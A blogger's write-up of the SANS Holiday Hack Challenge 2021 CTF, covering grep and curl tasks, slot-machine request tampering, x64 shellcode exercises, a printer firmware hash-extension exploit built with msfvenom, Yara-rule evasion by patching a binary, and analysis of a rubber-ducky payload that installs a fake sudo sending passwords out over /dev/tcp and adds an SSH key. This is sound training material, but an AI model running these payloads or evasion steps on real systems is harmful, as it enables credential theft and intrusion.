SANS Holiday Hack Challenge 2021

Hi everyone! This is a write-up on the recent SANS Holiday Hack Challenge CTF. I hope they will be helpful to you. It is my first time trying out SANS Holiday Hack challenge as they host it yearly. If you haven’t tried it out, the main goal of this CTF is to learn. Hence there are hints and guidance for some of the challenges. Most of the challenges aren’t that hard except for Printer Exploitation, Keberoasting on an Open Fire, and Frost Tower Website checkup. Let’s get started!

Grepping for Gold

This is a command-line challenge which my solution is definitely not that optimized. You can look at the actual solution provided which is given once solved. Go to the location outside the Frost Tower to begin this challenge.

Question 1

As the file contains the output of different hosts, I will need to filter them by first filtering for host For there, we obtain the first answer.

Question 2

Question 2 is the same. Just filter for host and find the open port which is 8080.

Question 3

We can just use the flag “-c” to find the number of occurrences to know the number of hosts up since based on questions 1 and 2, we know if the host is up, it will have the string “Status: Up”. So we can just get those lines that have that and count the number of lines using the “-c” flag which is 26054 hosts are up.

Question 4

Firstly, I used the “head” command to check the format for examples of the format of those with more than one open port.

We can see they are all in one line. Hence we can find all the occurrences and get the number of hosts based on the number of lines output using the “-c” flag.

Question 5

First, I need to get those hosts that are “Up” as well as getting their next line. This will result in a mix of those only show hosts that are up as well as those whose show hosts that are up as well as having the next line showing ports that are open for that host.

elf@dc43cd103daf:~$ grep -A1 "Status: Up" bigscan.gnmap
Host:    Status: Up
Host:    Status: Up
Host:    Ports: ....

So we know that those that have open TCP ports will have 2 lines in the Nmap resulting in one line showing it is up while another line showing the open ports, I trim them down to only showing the IP addresses using the “cut” command. Then finally, I filter out and only show those unique IP addresses only. “wc -l” will help me to find out the number of unique lines which is the number of hosts without any open TCP ports. Thus, the answer is 402.

Question 6

We first need to find the number of occurrences of “open/tcp” in each line then we get the highest value by sorting in descending order and get the first number in the list. Thus the answer is 12.

Thaw Frost Tower’s Entrance

We will need to enter the Frost Tower. But first, we need to talk to Grimy MrMcTrollkins for hints. He will tell us we need to use the WiFi adapter we obtained when we cleared the “Grep for Gold” challenge and we have to connect to the thermostat inside the building which is connected via WiFi using the command line. This way, we can melt the frost on the door to enter the building! We will need to learn to use the command line to connect to WiFi networks and use cURL for GET and POST requests.

Obtain SSID

From the WiFi CLI, we can scan for WiFi nearby using iwlist which there is only one. This allows us to know the SSID to be “FROST-Nidus-Setup”. We can see there is no encryption available.

Connect to the WiFi network

We can use iwconfig to connect to the access point.

Access the themostat

I used curl to obtain information about the thermostat from the website.

We can get a list of APIs from the /apidoc directory.

Melt the ice on the door

They already gave us a hint on how to query it. Just copy and paste while changing the temperature to 10 degrees celsius.

Slot machine

Talk to NPC Hubie Selfington located at the Frost Tower’s lobby and he will tell us to find the vulnerability in the slot machine. In this challenge, there is a vulnerability in the POST request which we can modify to allow us to win money all the time.

Outlook of the slot machine

When we click on the slot machine, a new tab will be open on our browser. It seems like this challenge requires us to use our own tools as so far the CTF challenge has been using their own in-browser consoles.

Discovering POST requests

I launched Burpsuite and click on the “SPIN” button to incept the request. This is when I noticed the request gets sent via an API number to a SPIN directory. 3 POST request parameters were sent as well.

I tried to play around with the parameters by increasing them by a lot but there is nothing useful. I tried to modify the response request from the server but the server keeps track of the actual credit amount so modifying the credit amount from outside is useless.

numline flaw

Previously I was increasing the number. I decided to decrease the value of numline parameter by using negative values and I noticed I keep winning. I did this test by sending it to a repeater so that I can keep spamming the request.

The lower the numline parameter’s value, the more money we win.

Complete the challenge

Once we hit 1000 credits, we will see the message.

Finally, we can submit the flag.


Talk to Grody Goiterson located at the Frost Tower’s lobby and he will tell us there is something wrong with the elevator.

This challenge will require us to have a basic understanding of logic gates and the truth table.

Solving it

We just need to understand logic gate operations can sort them so that the 3 output lights up. If you are unsure of the gates, can go wiki for the truth table of each gate. The solution is below.

Now we can close the panel and travel to Jack’s office using the elevator.

Shellcode primer

The shellcode primer challenge is located at Jack’s office which will give us a tutorial on GNU/Linux shellcoding.

If we click on the PC, it will open a new tab which is a walkthrough tutorial on x64 shellcoding before a final challenge of building our own shellcode at the very end.

You can go through the tutorial first to learn about assembly and shellcoding. It will be a refresher course if you already have experience building your own shellcode.

Below will contain the solution to the sections we have to answer. Whenever we clear each section, a new section will appear. The following sections do not require us to fill up any assembly code hence I will not show them below:

  • Introduction
  • Loops
  • Calling Into the Void

Getting Started


This level currently fails to build because it has no code. Can you add a return statement at the end? Don't worry about what it's actually returning (yet!)

Feel free to check previous levels!


For this mini-challenge, we just have to add in a RET instruction.

; This is a comment! We'll use comments to help guide your journey.
; Right now, we just need to RETurn!
; Enter a return statement below and hit Execute to see what happens!

Returning a Value


For this level, can you return the number '1337' from your function?


; TODO: Set rax to 1337
mov rax, 1337

; Return, just like we did last time

System Calls


For this challenge, we're going to call sys_exit to exit the process with exit code 99.

Can you prepare rax and rdi with the correct values to exit?

As always, feel free to mess around as much as you like!

We can refer to this source provided by the challenge for the sys_call information:


; TODO: Find the syscall number for sys_exit and put it in rax
mov rax, 60
; TODO: Put the exit_code we want (99) in rdi
mov rdi, 99
; Perform the actual syscall

Getting RIP


For this exercise, can you pop the address after the call - the No Op (nop) instruction - into rax then return?


; Remember, this call pushes the return address to the stack
call place_below_the_nop

; This is where the function *thinks* it is supposed to return

; This is a 'label' - as far as the call knows, this is the start of a function

; TODO: Pop the top of the stack into rax
pop rax

; Return from our code, as in previous levels

Hello, World!


For this next exercise, we include a plaintext string - 'Hello World' - as part of the code. It's just sitting there in memory. If you look at the compiled code, it's all basically Hello World, which doesn't run.

Instead of trying to run it, can you call past it, and pop its address into rax?

Don't forget to check the debugger after to see it in rax!


; This would be a good place for a call
call hmm
; This is the literal string 'Hello World', null terminated, as code. Except
; it'll crash if it actually tries to run, so we'd better jump over it!
db 'Hello World',0

; This would be a good place for a label and a pop
pop rax
; This would be a good place for a re... oh wait, it's already here. Hooray!

Hello, World!!


Remember syscalls? Earlier, we used them to call an exit. Now let's try another!

This time, instead of getting a pointer to the string Hello World, we're going to print it to standard output (stdout).

Have another look at the syscall table. Can you find sys_write, and use to to print the string Hello World! to stdout?

Note: stdout's file descriptor is 1.


; TODO: Get a reference to this string into the correct register
call hello
db 'Hello World!',0
; Set up a call to sys_write
; TODO: Set rax to the correct syscall number for sys_write
mov rax, 1

; TODO: Set rdi to the first argument (the file descriptor, 1)
mov rdi, 1

; TODO: Set rsi to the second argument (buf - this is the "Hello World" string)
pop rsi

; TODO: Set rdx to the third argument (length of the string, in bytes)
mov rdx, 12

; Perform the syscall

; Return cleanly

Opening a File


We're getting dangerously close to do something interesting! How about that?

Can you use the sys_open syscall to open /etc/passwd, then return the file handle (in rax)?

Have another look at the syscall table. Can you call sys_open on the file /etc/passwd, then return the file handle? Here's the syscall table again.


; TODO: Get a reference to this string into the correct register
call passwd
db '/etc/passwd',0
; Set up a call to sys_open
; TODO: Set rax to the correct syscall number
mov rax, 2
; TODO: Set rdi to the first argument (the filename)
pop rdi
; TODO: Set rsi to the second argument (flags - 0 is fine)
xor rsi, rsi
; TODO: Set rdx to the third argument (mode - 0 is also fine)
xor rdx, rdx
; Perform the syscall

; syscall sets rax to the file handle, so to return the file handle we don't
; need to do anything else!

Reading a File


Do you feel ready to write some useful code? We hope so! You're mostly on your own this time! Don't forget that you can reference your solutions from other levels!

For this exercise, we're going to read a specific file… let's say, /var/northpolesecrets.txt… and write it to stdout. No reason for the name, but since this is Jack Frost's troll-trainer, it might be related to a top-secret mission!

Solving this is going to require three syscalls! Four if you decide to use sys_exit - you're welcome to return or exit, just don't forget to fix the stack if you return!

First up, just like last exercise, call sys_open. This time, be sure to open /var/northpolesecrets.txt.

Second, find the sys_read entry on the syscall table, and set up the call. Some tips:

    The file descriptor is returned by sys_open
    The buffer for reading the file can be any writeable memory - rsp is a great option, temporary storage is what the stack is meant for
    You can experiment to find the right count, but if it's a bit too high, that's perfectly fine

Third, find the sys_write entry, and use it to write to stdout. Some tips on that:

    The file descriptor for stdout is always 1
    The best value for count is the return value from sys_read, but you can experiment with that as well (if it's too long, you might get some garbage after; that's okay!)

Finally, if you use rsp as a buffer, you won't be able to ret - you're going to overwrite the return address and ret will crash. That's okay! You remember how to sys_exit, right? 🙂

(For an extra challenge, you can also subtract from rsp, use it, then add to rsp to protect the return address. That's how typical applications do it.)

Good luck!


I placed a lot of comments on the right side of my assembly code. Hope it help!

; TODO: Get a reference to this
call northpolesecrets
db '/var/northpolesecrets.txt',0
; TODO: Call sys_open
mov rax, 2               ; to call sys_open
pop rdi                  ; put filename in rdi
xor rsi, rsi             ; arg2 set to 0
xor rdx, rdx             ; arg3 set to 0
; TODO: Call sys_read on the file handle and read it into rsp
mov rdi, rax             ; rax contains returned FD from open()
xor rax,rax              ; to call sys_read
sub rsp, 0xFF            ; Create local variable array char[0xff]
mov rsi, rsp             ; set to use our local char[] buffer
mov rdx, 0xFF            ; set length to our local char[] buffer's length
; TODO: Call sys_write to write the contents from rsp to stdout (1)
mov rax, 1               ; to call sys_write
mov rdi, 1               ; set FD as 1 which is stdout
mov rsi, rsp             ; set buffer to be read to be as our local char[] buffer
mov rdx, 0xFF            ; set length to our local char[] buffer's length
; TODO: Call sys_exit
add rsp, 0xFF            ; clean up by removing our local variable
mov rdi, rax             ; use write()'s return status as our exit status
mov rax, 60              ; to call sys_exit

This will allow us to obtain the flag when we press the “Execute” button:

Submit the flag

Printer Exploitation

Printer Exploitation is located at Jack’s Office. If we talk to the NPC Ruby Cyster, he will tell us that it has something to do with firmware, we can drop files in /app/lib/public/incoming, and do hash extension attack:

To better understand the hash extension attack, you can read up on Merkle–Damgård construction to understand how hashing works.

Before I begin, credits to @slixperi for helping me to debug the issue when I wasn’t able to bypass the hash check.


Download the current firmware




If we look at the firmware’s value, we will see that it is base64 encoded as it ends with “==” which is a clear sign. Once we decode which I used an online decoder, we will know it is actually a ZIP file due to the “PK” magic signature.

Hence, I place the firmware base64 value firmwarebase64.txt before decoding it and pipe the output to form a ZIP file:

kali@kali$ cat firmwarebase64.txt | base64 -d >

We can then unzip it can find out the zip file contains a BIN file, firmware.bin.


Using the “file” command, we will see that it is a 64bits GNU/Linux file.

kali@kali$ file firmware.bin
firmware.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 3.2.0, BuildID[sha1]=fc77960dcdd5219c01440f1043b35a0ef0cce3e2, not stripped

Creating payload file and add to ZIP

We can see that we need to obtain the flag from /var/spool/printer.log.

We can then place the flag file in the /app/lib/public/incoming folder. This way we will not have to use a free VPS to receive an incoming reverse shell if we do not want to expose our own public IP address to other CTF players.

We can now create our malicious payload file.

kali@kali$ msfvenom -p linux/x64/exec CMD="cp /var/spool/printer.log /app/lib/public/incoming/leflag.log" -f elf -o firmware.bin

Finally, we can archive it. NPC Ruby Cyster will tell us that files of the same type can be uploaded together but only the last file will be executed. Based on the hash extension article, we will know that to pass the signature check, we only can append new data. Since the original data is a ZIP file with the BIN firmware, firmware.bin, we have to create a new ZIP file,, with our malicious BIN file, firmware.bin, and append our new ZIP file,, to the original ZIP file, Note that the new firmware filename must be “firmware.bin”. Otherwise, when we upload the JSON file later, there will be an error message saying the printer cannot find “firmware.bin”.

kali@kali$ zip -q firmware.bin

Obtain new signature

Based on firmware-export.json, we know that the secret length is 16, and a signature is required to validate our new firmware. Thus, we can use the hash extension tool to help us obtain a new signature without knowing the secret. Download the tool and use it to obtain the new signature.

kali@kali$ git clone

We will then need to install the OpenSSL library.

sudo apt-get install libssl-dev

Finally, we can make the file and run it to obtain the signature. The length of the string and signature value are obtained from the firmware-export.json.

kali@kali$ cd hash_extender
kali@kali$ make
[CC] hash_extender_engine.o
[CC] test.o
[CC] tiger.o
[CC] util.o
[LD] hash_extender
[CC] hash_extender_test.o
[LD] hash_extender_test
kali@kali$ ./hash_extender --file=../ --secret 16 --append "$(cat ../ | xxd -p -c 10000)" --append-format=hex --signature e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23 --format sha256
Type: sha256
Secret length: 16
New signature: 125f76e83f8b870329f7b9a2f72b2c14fe44bea71084d007a0b1ce14839148aa
New string: 504b0304140000000800d8a5865316a0a8f06a090000e04000000c001c006669726d776172652e62696e5554090003b876ae61b876ae6175780b000104000000000400000000ed5b5f6c1c47199fbdf3d9e73a5e9fd384384ec09792480ee4ce97a4761d5a373edb67afd1c531a91dd45067b3f6ae7d47ef8f7bb747ec0022e0523815973e54a80fed0b79492590287d8107d4045b952a284a1e2a22419109a9e446a05e54885248bdccecceb7de99db6bca0bf0b09f74fbdbef9bef3733fbcdec7ad63bdfb712c9619f2020103f7a14116d3c64e9fdd47ee688ed826dbda8091f3f833e8deab15ee7f0e331e5633168b763f12e523b8fbb118b8203eb506d391360118536790187cee35b028b4e9ed95e98da394c092c3a792436eb114b5fef6351a2d739ee63793ecabb437977fa585c13588478d6d1df2aad8fc721c422c470fc5d5d25e77be9f5f0f8086211785fc2bc7af4c905c27d82b6572b2e6d3e1621ac5d99f474cf835d19359249e74a0b9185de9e48cf83d1623e7ac8ec5388fa8e8c4d9afe647e416849f9366a23e577cffea8f9adb7f7bc240cb584065f3b25567efb97eb1077183784be6d1ee11aaf6abfcb7edcf591ee875dec4df8b7d5c5de51c3fe788d7a5235ece4ba1f70eb108ed70c094f0f9a2fe94524cb330b8a3c9bce2999f4390daba45c2eea4a4197b34a3a874692a30383f2a1e8a168379247278ec9aa56d0e6d2455d2b4c1c1bcce473da84329d21ccb96c3e4799b2e5eaea48c447c7c087e32a98b18579506a4f3712fb41aac3f8c37c8eb55a58e1ec155a41673f6b07fdda510b612c41d61c76bfc3beeeb03b9f2b15873de0b0df71d89df3bf8db6df8036e79d279e78e289279e78e289279efcbf89b4f4d7a0f46ce09d2e7cfadd4bbacfb8222dad0657ec72a3fb3a2e32f6ddc0c7968e7e7c4674f23682de5b33b0ecfb39d6679f07ff837f1b2d5f3d2d95af4b4b372ae313c9e5c029bc0c97969b3f208d2df75d26756e9fc59cbfb7740c99a65748dbcb811f13387247df8ebbf328ed4ea3b1d6d2719ed4bb4211fb2f9afedd0502fb37a4cb1b7ea95c912eaf1f958437a4ab1bfa365cc1765a41d0589b35db01fef9be23b80895ba26a5a5bedb515263f95d7d8bf46c5f7b17792bc557b49ec2873702ad5817a656b8f6dffb3a2e9cc41c1cb850f99b77a572a982fbf44b1193d7360ce317c4e9cd15dce8d3663ce25f1e2dff3e7e72b47c3b3e192f7f14c711d9377f00a149693942f0b1e47e525570bd88c9d2e58ffcfaae837f68e940c9f23f93e5db43e5f7e3c6b63f4a4b2b8274e49dd24d32365f998a3f119f8a9f8ecbb84f6805c69019354f3cf1c4134f3cf1c4134f3cf1c4134f3c6145403e349c2e64cf2a052d9c2e86674b99cc62b8341fd6f36155d1b53dc46797ffe15e647defbafbbe619037dbdd15c3f809c603182730b6de328c558c8f60bc81f1258c0704ebbbabd9ceb91348580809bbb634049f171a42c44ebeed5fc1f57dded11f777f84f652ff79ec1f260e6268586cfb624bd3d9e07974b4fde1cf1ddefb00f0c937ee14f60b3aea25dc27f02f81fb6b3ac6c5d033bec1e6fa29dc00e57c03ffc671f914291f10433ff425c4b6e7fc0931bc5c97103b7f1090c4d833f592d8bbd43022f67f55ec8d8bb1b8d839208607c436ec3f2006cdef9b240e295c8ff3fba3279e78e289279e78e289279e78e2c97f4becfd948efdc94edc028eb4bc99aaab94b793eab04f7317d5e11dab9d22ecd7dccd95ff63c3c89b3add7c097b2aaf511df652c6a87e1fd5bf43b189621bc5ed88157b4f67bf05b00713fce1bdb281e20e8a5280b57fbf8eedf7258a8d5c7dff32aceb01d70daaa728dfa03ac4b742f553b4fc43aa3bf7a2fe2f04f695f3d2136275d85f3b3238f88570e790369d5672e1dee8e1682cd2b3df3ab9675b7e1c8d8b2e9b63fd78b4565ded7e74c3d55e67cf23d61eb0e70f6bafb7e7196b6fb0c783b507ed7164ed8df6fc60edf7d9f388b5376d6e7866ec5b50d8d5de8cfa5deda29d8fc1da5becfb93b5875c378bfb51abbdaf9fb56f45675cedf7dbf73b6bdf66dfe7ac7dbbeb7cf2a34fd9fbb259fb8ecd4411c6de86c2aef69d28e66a6fafb259791bb70cde4e9e733e1ccff35c3c456aff1967df43ed15cefe90d9c6667fe03e1f36cfabe393a5f5c4b8f15a34fdabe3fc628dfed7baae0b66d956a4eee14bdcfd5f358ff757f5f3d7663dd5e3f81beacff7f34fe6b17a5edd32eba91edf9f0a240ed5f7458340f221447489c607e2b94370cf7bc89af6ea79725870cfab4808a4c9b6aaf9d34afc7dd5f751b2463d4fd27af876176af4f37bd8deea6bb39f9f202f10bbe33e85c7ca051a8733b43f53d4fe2b44dadd897ab97a9ea2fef07c80ffa5be2658fefcf5be4efdbb69fd903bb24afbc9fb5fa9715d37851a79273305bda8976667a33368338344d6b3f20c490d2189286a5e9ecbe4a7958caceaf94251564a0b68269f9dcf68baa6461f3a7ca8dbdd8964afa465a5505016652da71716d16c41c96ab25aca661731c5a1c9d853675de9ffb871b76479f844fc58424e8c0d910416d65745f2d0e363f163a3836c8999ef824d2363937242a235484327903c923c3e104fcac787871f4b4cc813f181644286fc9a9962c9ecf5c766d490fc9cfe7e26ff4653155da94ed2e1bc64e265f78c4dcb91d5625e4e293995a4ec8c1ec7056a3a27978a9aeaec1bb940ac4f178bb41a3315489671ff203c35f37bd88c22b66b285a5ccceaca3446bd60610aced2395cd33c8ae6f2ba168d0f8c4674658e6a73b95274ba94cea891b48a4c2da5145328aa2ee6707d16ea05abe46b5aa198cee71845c665052da310477a369fd14993f832c969742e8f4f746d011fcd718916f266a8a35a8ace9f945ad8d42caa35052c069ce316946c7a06911aad46ac7a70285114cfe62c9e766eb7c77f2a649d4d9e85b00caa952709c27f73f82c627392f8bcc030e7cf2f6f0e727c588f01eebd079f7c57b98dd7bac087751b20f061f9e4fc6643640c596b7fe0c3fa0ef022b543be17f0619d7e12b1b980b00e0484f70b103e7ea791b596073eac170145aeff3e0e9f44d6bb01e8b0ae040cd7e83fc83964c514f8b0fe04bcc4b5cf5fffd3943f407558a702821f5177b8f09f43ce9c485495370bef5120fcf897393eac7b6de4fcf9f4dc17383eac8f01f97805397c99e3c3df49c0a7b801e797d917383eac13001b397ffefa5f41ecfdcbe70ff37f4379feab1cbf567e6e2dfeeb1c1fd6f98041eefaf978be89ac390eaf4f76be6ec4dd9f8fffdbf8d7e2e0c37ab3f209f97f466ccea69d0f4df990075dcff1601cc93a5a70f0e13de45a97859df768ff26c7b7d7b3f475377c0ffe071c1fd68de118db4f9e0ff221b5011fd667b198bb3ffffcdaa036feed1cf8b5fe7e38d12d9f751c2aacdfac2782aa9f1f8d8ebe33fc1e4ae72ae7fbdf5a837fb2d7c2068ec0f3ff0d504b01021e03140000000800d8a5865316a0a8f06a090000e04000000c0018000000000000000000ed81000000006669726d776172652e62696e5554050003b876ae6175780b000104000000000400000000504b0506000000000100010052000000b00900000000800000000000000000000000000000000000000000005140504b0304140000000800f7218c53257304ff8d000000da0000000d001c006669726d77617265312e62696e5554090003c2bdb5612ff5b56175780b000104e803000004e8030000ab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a1d4d1699be05e5d9c0340840288f1dfa499979fac5190c330342e283d232749343e2825ed801a5920b14f4cb128bf48b0bf2f373f40b8a32f34a528bf472f2d315f4130b0af4733293f40b4a93723293f533f392f37333f3d2f57352d37212d3416a18c2c243e2b2ac23f85901504b01021e03140000000800f7218c53257304ff8d000000da0000000d0018000000000000000000ed81000000006669726d77617265312e62696e5554050003c2bdb56175780b000104e803000004e8030000504b0506000000000100010053000000d40000000000

Obtain new firmware

If you read the article/blog on Hash Extension Attack, you will know that that the New String is the hexadecimal value of the original ZIP file appended with our new ZIP file. I didn’t show the New String below as it is too long. You can replace yours with your New String. Echo with “-n” will not echo with a newline character. “xdd -p -r” will convert the hexadecimal back to ZIP file. Finally, we will convert the ZIP file to base64 where “-w 0” will not print newline characters. The output will be pipe to f.txt.

kali@kali$ echo -n <NewString> | xxd -p -r | base64 -w 0 > ../f.txt

Copy the new firmware in base64 coding from f.txt and put it in the new JSON file, newfirmware-export.json. Remember to copy your new signature into the JSON file as well.


Upload the new firmware

If it is successful, it will show the message below. Otherwise, you will see other error messages.


Go to the URL and we will obtain the flag from the log file.

We can now submit the flag.

Document Analysis

Document Analysis is located in Santa castle’s courtyard. If we talk to NPC Piney Sappinton, he will tell us that Jack Frost has tampered with a file. We can use exiftool provided to help us. After completing the challenge, NPC Piney Sappinton will be willing to share with us some hints on Caramel Santaigo challenge. We need to click on ExifMetadata to start the challenge.

Files available

If we look at the files available, there are a number of files.

Finding modified file

We can test exiftool on any random file and see the output. Immediately we can see who modified the file. If it is not by Jack Frost, we will see it is last modified by Santa Claus.

Below shows partial exiftool output of 2021-12-24.docx where Santa Claus was the last user that modified the file:

If we count the number of lines before the “Last Modified By” column to reach the “File Name” column, there are 39 lines. Thus we can search for the file modified by Jack Frost and use the grep’s flag “-B39” to see which is the modified file. Running the command below will allow us to know the modified file is “2021-12-21.docx”.

We can then submit the file name to clear this challenge.

Caramel Santaigo’s hint

When we talk to NPC Piney Sappinton, again, he will give us a hint on Caramel Santaigo where we need to use tools such as MGIS. and what3words. He also gave us another hint that we can make use of Flask’s cookie.

Where in the World is Caramel Santaigo?

This challenge is located in Santa castle’s courtyard. If we talk to the NPC Tangle Coalbox, he will give us a hint that this challenge is about OSINT where we need to track down the missing elf. However, I am not a huge fan of OSINT. Besides that, I heard this is an old game that some might have played before. However, I did not play before and I prefer the technical way of using Flask’s cookie to help me clear the challenge. Note that each time you launch this challenge, the Flask’s cookie value changes as the cities to travel change. So you have to repeat the steps of decoding the new Flask’s cookie if you accidentally close the challenge.

We can first obtain the cookie from the browser. (I am using Firefox btw).

Based on the hint from NPC Piney Sappinton, we can read up on decoding Flask’s cookie here.

I used cyberchef. Hence, my recipe is “From Base64 (URL-safe)” with “Zlib Inflate”.


Beautified decoded results:

    "day": "Monday",
    "elf": "Noel Boetie",
    "elfHints": ["Oh, I noticed they had a Star Trek themed phone case.", "The elf mentioned something about Stack Overflow and Golang.", "The elf got really heated about using spaces for indents.", "They kept checking their Discord app.", "hard"],
    "hour": 9,
    "location": "Santa's Castle",
    "options": [
        ["Reykjav\u00edk, Iceland", "Prague, Czech Republic", "New York, USA"],
        ["Edinburgh, Scotland", "Reykjav\u00edk, Iceland", "London, England"],
        ["Copenhagen, Denmark", "Prague, Czech Republic", "Stuttgart, Germany"],
        ["London, England", "Edinburgh, Scotland", "Placeholder"]
    "randomSeed": 925,
    "route": ["Prague, Czech Republic", "Reykjav\u00edk, Iceland", "Stuttgart, Germany", "Placeholder"],
    "victoryToken": "{ hash:\"ad13f1f4798cc6865ddbe62d20f862691a6f7ca3799f222c57bbf3d8cb6bc344\", resourceId: \"057a240b-f60a-4fc9-a89e-e3528447098c\"}"


Based on the decoded flask cookie, our route should be “Prague, Czech Republic” -> “Reykjav\u00edk, Iceland” -> “Stuttgart, Germany”.

Continue to follow the route until we reached the last destination.


Once we reached the last destination, go to the “Investigate” page. There are 3 options. Just randomly choose one of them by brute-forcing until you managed to catch the elf.

If you manage to catch the elf, they will present to you the page below. Just fill up who is the elf. Based on the decoded Flask Cookie, it is “Noel Boetie”.

Yara Analysis

To begin the Yara Analysis challenge, we need to talk to Fitzy Shortstack who is at the main hall of Santa’s castle.

This challenge involves modifying an ELF file to bypass the Yara rules running on the machine. We will be using xxd in vim text editor to help us to modify the ELF file. Grep command will be used for quick viewing of specific Yara rules. Let’s get started!

Analyze rule 135

Firstly, we can see there are is a program “the critical elf app” and the directory “yara rules”. Inside the directory, there is a Yara rule file.

If we run the “the critical elf app”, we can see rule 135 was flagged by the yara rule.

We can take a look at rule 135 using grep.

We can see the only condition is the running app must have the string “candycane” in it for the rule to be triggered. Thus, we need to change the string “candycane” in the “the critical elf app” file to another string before running it. We can just change any letter in the string so it will not match with the rule.

Firstly, we can launch vim on the binary file “the critical elf app” and use xxd in it to modify the file. Can follow this guide:

snowball2@542f3b693ddc:~$ vim the critical elf app

Type “:%!xxd” in the VIM editor and press enter.

You will see we can now edit the binary file.

Scrolling down using the DOWN arrow key, we can find the string “candycane” at the address/offset 0x20009.

I changed the first character of the string to 0x65 (‘e’) by bringing the cursor the position to modify, press key R, and typed “5”. Then I typed “:%!xxd -r” to go back to normal VIM mode and typed “!wq” to save and exit. Of course, you can change any other characters you want to modify the string but I chose to change the first character.

Analyze rule 1056

Run the program again and it will show us the next Yara rule that is triggered.

Grep for rule 1056 to see the conditions.

I searched for the hexadecimal for the $s1 variable. However, 0x2E36 cannot be part of the grep search string as it is in the next line. But with “-A1” flag, we can see 0x2E36 is indeed in the next line. Thus, we know that we need to modify this set of hexadecimal which is located at 0x45A. However, this is a very important part of the program which we cannot modify, You can see this post if you do not know why.

Next, I searched for the hexadecimal in $hs2. I used “-B2” to see what is the full sentence as the string is part of a full sentence. Note that this set of hexadecimal is located at the start of 0x2055. It does not seem useful thus we can modify it so the condition at Yara rule 1056 will fail since it is an AND condition which means one of the conditions fails, the whole rule fails.

Similarly, use xxd in vim text editor to modify a character. I changed from 0x72 to 0x73 (‘s’).

Repeat the step of typing “:%!xxd -r”, press ENTER, type “wq!” and press ENTER. This will save the modification done to the binary file.

Analyze rule 1732

Run the program again and it will show us the next Yara rule that is triggered.

We can use grep again to search for rule 1732 to see its condition.

We can see that there are 3 conditions which we just need to make one of them fail to bypass rule 1732.

uint32(1) == 0x02464C45 is actually checking the 4 bytes of hexadecimal starting from address 0x1. If we look at the hexadecimal of the file, we will see 0x454C446 is actually “ELF<STX>”.

We cannot modify 0x454C446 as it is part of the magic bytes. However, 0x2 isn’t. Hence, we can modify it using xxd in vim text editor. I converted 0x2 to 0x0.


Once we run the file again, it should show the message below which means we have completed the challenge.

Strange USB Device

Strange USB Device is located on Santa Talks’ floor in Santa’s castle. If we talk to NPC Moroel Nouget, he will tell us it has something to do with rubber ducky.

We can see /mnt/USBDEVICE folder only contains inject.bin with very strange contents.

elf@f2f238fa96cf:~$ ls -l /mnt/USBDEVICE/                                                      
total 4                                                                                        
-rw-r--r-- 1 root root 2090 Nov 30 22:14 inject.bin                                            
elf@f2f238fa96cf:~$ cat /mnt/USBDEVICE/inject.bin                                              
 ,4 8                                                                                          
        ,-,4/0,,        ,3,4,-,(                                                               
       78  $(                                                 4,7,88    7                      
       78  $(88 7                                                                              








We can see the current directory only contains

elf@c6ec77c0560b:~$ ls -l
total 12
-rwxr-xr-x 1 root root 8802 Nov 30 22:14*

We can run it to see how to use the file. I have already analyzed the file and found nothing suspicious. It is just a USB rubber ducky keylogger’s decoder.

elf@b15ecc409120:~$ python
usage: [-h] [--file FILE] [--no_analyze] [--output_file OUTPUT_FILE]
                  [--analysis_file ANALYSIS_FILE] [--debug]

optional arguments:
  -h, --help            show this help message and exit
  --file FILE, -f FILE  The file to decode, default: inject.bin
  --no_analyze, -A      Include this switch to turn off analysis of the duckyfile
  --output_file OUTPUT_FILE, -o OUTPUT_FILE
                        File to save decoded ducky script to. Default will print duckyfile to
  --analysis_file ANALYSIS_FILE
                        Location to output analysis. Default will print analysis to screen.
  --debug               Enable Debug Logging.

When we decode the file at /mnt/USBDEVICE/inject.bin,

elf@b15ecc409120:~$ python -f /mnt/USBDEVICE/inject.bin
DELAY 1000                                                                                     
GUI SPACE                                                                                      
DELAY 500                                                                                      
STRING terminal                                                                                
DELAY 500                                                                                      
GUI -                                                                                          
GUI -                                                                                          
GUI -                                                                                          
GUI -                                                                                          
GUI -                                                                                          
STRING  /bin/bash                                                                              
DELAY 500                                                                                      
STRING mkdir -p ~/.config/sudo                                                                 
DELAY 200                                                                                      
STRING echo '#!/bin/bash > ~/.config/sudo/sudo                                                 
STRING /usr/bin/sudo $@                                                                        
STRING echo -n "[sudo] password for $USER: "                                                   
STRING read -s pwd                                                                             
STRING echo                                                                                    
STRING echo "$pwd" | /usr/bin/sudo -S true 2>/dev/null                                         
STRING if [ $? -eq 1 ]                                                                         
STRING echo "$USER:$pwd:invalid" > /dev/tcp/
STRING echo "Sorry, try again."
STRING sudo $@
STRING echo "$USER:$pwd:valid" > /dev/tcp/
STRING echo "$pwd" | /usr/bin/sudo -S $@
STRING fi' > ~/.config/sudo/sudo
STRING chmod u+x ~/.config/sudo/sudo
STRING echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile
STRING echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc
STRING echo ==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d | bash
STRING history -c && rm .bash_history && exit

We see something interesting where a base64 string is decoded and run using bash. If we decode it, we will see actually contains a command to add the public key to SSH authorized keys. We can see the username is actually “ickymcgoop”.

